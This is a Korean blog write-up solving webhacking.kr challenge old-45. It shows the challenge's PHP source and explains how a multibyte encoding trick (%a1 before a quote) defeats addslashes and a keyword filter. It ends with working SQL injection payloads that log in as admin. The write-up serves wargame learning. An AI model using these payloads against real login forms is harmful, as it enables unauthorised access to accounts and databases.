write-up(web)/webhacking.kr

[Webhacking.kr] old-45

chanchand 2023. 1. 3. 23:42
반응형

문제


 

[왼쪽] 기본화면    [오른쪽] guest 로그인

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>

 

id가 admin일 때 문제가 해결된다.

 

문제풀이


id, pw 파라미터 값에 addslashes 함수를 사용하여 ',",\ 문자 앞에 백슬래시를 추가해주고,

인코딩 방식을 utf-8로 변경한다.

admin, select 등 문자열을 파라미터 값과 비교하여 필터링을 한다.

이 때, utf-8 환경에서 백슬래시와 %a1~%fe 값이 합쳐져 하나의 문자열로 인식되는 취약점이 존재한다.

 

select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

 

 id='' or id='admin' #

 id='' or id like admin #

 id='%27 or id like 0x61646D696E %23

 id='%a1%27 or id like 0x61646D696E %23

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-47  (0) 2023.01.04
[Webhacking.kr] old-46  (0) 2023.01.04
[Webhacking.kr] old-44  (0) 2023.01.02
[Webhacking.kr] old-43  (0) 2023.01.02
[Webhacking.kr] old-42  (1) 2023.01.02